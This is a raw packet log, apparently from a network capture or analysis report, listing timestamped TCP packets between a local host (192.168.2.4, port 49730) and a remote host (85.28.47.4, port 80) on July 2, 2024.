Jul 2, 2024 15:26:09.032685995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.032705069 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.032720089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.032721043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.032732964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.032752037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.032759905 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.032764912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.032776117 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.032784939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.032800913 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.033071041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.033094883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.033107042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.033118010 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.033126116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.033127069 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.033135891 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.033143044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.033159971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.033163071 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.033171892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.033173084 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.033191919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.033198118 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.033207893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.033221006 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.033462048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.033508062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.033509016 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.033520937 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.033545017 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.033560038 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.033564091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.033576012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.033593893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.033607960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.033627987 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.033674002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.033685923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.033704042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.033714056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.033718109 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.033737898 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.033741951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.033754110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.033759117 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.033773899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.033775091 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.033786058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.033788919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.033803940 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.033818960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.033818960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.033859968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.033864021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.033874035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.033901930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.033926010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.033937931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.033971071 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.034025908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034051895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034074068 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.034079075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034091949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.034102917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034113884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034116983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.034131050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034136057 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.034151077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034152985 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.034162998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034172058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.034178972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034183025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.034202099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.034213066 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.034264088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034275055 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034292936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034308910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.034303904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034327984 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.034341097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034352064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034353971 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.034372091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034373045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.034384012 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.034401894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.034405947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034418106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034451008 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.034482956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034495115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034512997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034523010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034527063 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.034543037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034544945 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.034569025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.034578085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034579992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.034590006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034609079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034619093 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.034631014 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034641981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034642935 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.034670115 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.034786940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034797907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034816027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034832001 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.034847975 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.034848928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034862041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034883022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034893036 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.034909964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034918070 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.034945011 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.034949064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034961939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.034996033 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.114255905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.114310980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.114324093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.114347935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.114362001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.114377022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.114382029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.114398003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.114414930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.114414930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.114418983 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.114427090 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.114444971 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.114454031 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.114518881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.114531040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.114552021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.114561081 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.114567041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.114583015 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.114586115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.114604950 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.114608049 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.114618063 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.114640951 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.114645958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.114658117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.114676952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.114685059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.114707947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.114712954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.114720106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.114751101 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.114754915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.114769936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.114785910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.114792109 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.114806890 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.114818096 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.114878893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.114892006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.114909887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.114917994 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.114919901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.114938021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.114940882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.114954948 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.114958048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.114969969 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.114984035 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.114991903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.115004063 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.115021944 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.115030050 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.115036964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.115053892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.115068913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.115070105 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.115108013 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.115122080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.115134001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.115150928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.115159988 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.115180016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.115180969 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.115192890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.115217924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.115219116 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.115231037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.115257025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.115273952 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.115370989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.115382910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.115402937 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.115411043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.115413904 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.115432978 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.115451097 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.122186899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.122236013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.122261047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.122271061 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.122273922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.122294903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.122299910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.122299910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.122311115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.122318029 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.122324944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.122333050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.122345924 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.122350931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.122359037 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.122383118 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.122549057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.122587919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.122601032 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.122613907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.122644901 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.122741938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.122754097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.122772932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.122783899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.122786045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.122803926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.122805119 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.122824907 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.122836113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.123051882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123064995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123085022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123097897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.123100042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123119116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123119116 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.123131037 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.123140097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123145103 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.123152971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123172045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.123178959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123182058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.123192072 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123212099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.123220921 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.123233080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123245955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123264074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123270988 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.123291969 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.123526096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123538017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123555899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123564959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123570919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.123584986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123589039 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.123601913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123609066 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.123616934 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123625994 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.123639107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123639107 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.123648882 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.123656034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123665094 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.123675108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123684883 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.123686075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123704910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.123708010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123717070 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.123724937 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123738050 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.123749971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123749971 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.123769045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123779058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123781919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.123794079 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.123800993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123806953 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.123816967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123836040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123841047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.123853922 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.123864889 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.123917103 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123929024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123950005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123960018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.123960972 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.123980045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.123996973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.124063015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.124083996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.124094009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.124103069 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.124114037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.124114990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.124126911 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.124130011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.124141932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.124144077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.124165058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.124171972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.124175072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.124183893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.124203920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.124207973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.124214888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.124221087 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.124237061 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.124243021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.124245882 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.124253988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.124273062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.124279022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.124284029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.124299049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.124305010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.124320030 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.124324083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.124332905 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.124336004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.124356985 CEST	80	49730	85.28.47.4	192.168.2.4
